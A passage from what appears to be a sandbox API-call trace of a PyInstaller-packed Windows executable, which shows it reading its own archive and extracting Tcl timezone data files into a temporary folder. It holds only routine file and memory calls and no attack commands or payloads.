lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.827] CloseHandle (hObject=0x10c) returned 1 [0042.827] GetLastError () returned 0x0 [0042.827] SetLastError (dwErrCode=0x0) [0042.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vaduz") returned 69 [0042.827] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vaduz" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\vaduz"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.827] GetLastError () returned 0x2 [0042.827] SetLastError (dwErrCode=0x2) [0042.827] GetLastError () returned 0x2 [0042.827] SetLastError (dwErrCode=0x2) [0042.827] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vaduz", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vaduz", lpFilePart=0x0) returned 0x44 [0042.827] GetLastError () returned 0x2 [0042.827] SetLastError (dwErrCode=0x2) [0042.827] GetLastError () returned 0x2 [0042.827] SetLastError (dwErrCode=0x2) [0042.827] GetLastError () returned 0x2 [0042.827] SetLastError (dwErrCode=0x2) [0042.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vaduz") returned 69 [0042.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.827] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vaduz" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\vaduz"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.827] GetFileType (hFile=0x10c) returned 0x1 [0042.827] htonl (hostlong=0xff1a0000) returned 0x1aff [0042.827] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.828] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.828] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xaff, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xaff, lpOverlapped=0x0) returned 1 [0042.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.829] CloseHandle (hObject=0x10c) returned 1 [0042.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.829] htonl (hostlong=0x30000000) returned 0x30 [0042.829] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.829] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.829] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.829] GetFileType (hFile=0x10c) returned 0x1 [0042.829] htonl (hostlong=0x20ae5c00) returned 0x5cae20 [0042.829] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x615e20, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.829] htonl (hostlong=0x88000000) returned 0x88 [0042.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0042.829] htonl (hostlong=0x88000000) returned 0x88 [0042.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.829] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.829] htonl (hostlong=0xab000000) returned 0xab [0042.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x550600 [0042.829] htonl (hostlong=0x88000000) returned 0x88 [0042.829] htonl (hostlong=0xab000000) returned 0xab [0042.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.829] CloseHandle (hObject=0x10c) returned 1 [0042.830] GetLastError () returned 0x0 [0042.830] SetLastError (dwErrCode=0x0) [0042.830] GetLastError () returned 0x0 [0042.830] SetLastError (dwErrCode=0x0) [0042.830] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.830] GetFileType (hFile=0x10c) returned 0x1 [0042.830] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.830] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.830] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.830] CloseHandle (hObject=0x10c) returned 1 [0042.830] GetLastError () returned 0x0 [0042.830] SetLastError (dwErrCode=0x0) [0042.830] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.830] GetFileType (hFile=0x10c) returned 0x1 [0042.830] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.830] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.831] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.831] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.831] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.831] CloseHandle (hObject=0x10c) returned 1 [0042.831] GetLastError () returned 0x0 [0042.831] SetLastError (dwErrCode=0x0) [0042.831] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.831] GetFileType (hFile=0x10c) returned 0x1 [0042.831] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.831] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.831] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.831] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.831] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.831] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.831] CloseHandle (hObject=0x10c) returned 1 [0042.831] GetLastError () returned 0x0 [0042.831] SetLastError (dwErrCode=0x0) [0042.831] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vatican") returned 71 [0042.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vatican" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\vatican"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.832] GetLastError () returned 0x2 [0042.832] SetLastError (dwErrCode=0x2) [0042.832] GetLastError () returned 0x2 [0042.832] SetLastError (dwErrCode=0x2) [0042.832] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vatican", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vatican", lpFilePart=0x0) returned 0x46 [0042.832] GetLastError () returned 0x2 [0042.832] SetLastError (dwErrCode=0x2) [0042.832] GetLastError () returned 0x2 [0042.832] SetLastError (dwErrCode=0x2) [0042.832] GetLastError () returned 0x2 [0042.832] SetLastError (dwErrCode=0x2) [0042.832] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vatican") returned 71 [0042.832] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.832] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vatican" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\vatican"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.833] GetFileType (hFile=0x10c) returned 0x1 [0042.833] htonl (hostlong=0xab000000) returned 0xab [0042.833] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.833] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xab, lpOverlapped=0x0) returned 1 [0042.834] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.834] CloseHandle (hObject=0x10c) returned 1 [0042.834] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.834] htonl (hostlong=0x30000000) returned 0x30 [0042.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.834] GetFileType (hFile=0x10c) returned 0x1 [0042.834] htonl (hostlong=0xa8ae5c00) returned 0x5caea8 [0042.834] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x615ea8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.834] htonl (hostlong=0x3e060000) returned 0x63e [0042.834] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x63e) returned 0x550600 [0042.834] htonl (hostlong=0x3e060000) returned 0x63e [0042.834] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.834] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.834] htonl (hostlong=0xeb1d0000) returned 0x1deb [0042.834] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1deb) returned 0x561090 [0042.834] htonl (hostlong=0x3e060000) returned 0x63e [0042.834] htonl (hostlong=0xeb1d0000) returned 0x1deb [0042.834] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e88 [0042.834] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e88 | out: hHeap=0x530000) returned 1 [0042.834] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.835] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.835] CloseHandle (hObject=0x10c) returned 1 [0042.835] GetLastError () returned 0x0 [0042.835] SetLastError (dwErrCode=0x0) [0042.835] GetLastError () returned 0x0 [0042.835] SetLastError (dwErrCode=0x0) [0042.835] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.835] GetFileType (hFile=0x10c) returned 0x1 [0042.835] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.835] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.835] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.835] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.835] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.835] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.835] CloseHandle (hObject=0x10c) returned 1 [0042.835] GetLastError () returned 0x0 [0042.835] SetLastError (dwErrCode=0x0) [0042.835] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.835] GetFileType (hFile=0x10c) returned 0x1 [0042.835] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.836] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.836] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.836] CloseHandle (hObject=0x10c) returned 1 [0042.836] GetLastError () returned 0x0 [0042.836] SetLastError (dwErrCode=0x0) [0042.836] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.836] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.836] GetFileType (hFile=0x10c) returned 0x1 [0042.836] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.836] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.836] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.836] CloseHandle (hObject=0x10c) returned 1 [0042.836] GetLastError () returned 0x0 [0042.837] SetLastError (dwErrCode=0x0) [0042.837] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vienna") returned 70 [0042.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vienna" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\vienna"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.837] GetLastError () returned 0x2 [0042.837] SetLastError (dwErrCode=0x2) [0042.837] GetLastError () returned 0x2 [0042.837] SetLastError (dwErrCode=0x2) [0042.837] GetFullPathNameW (in: 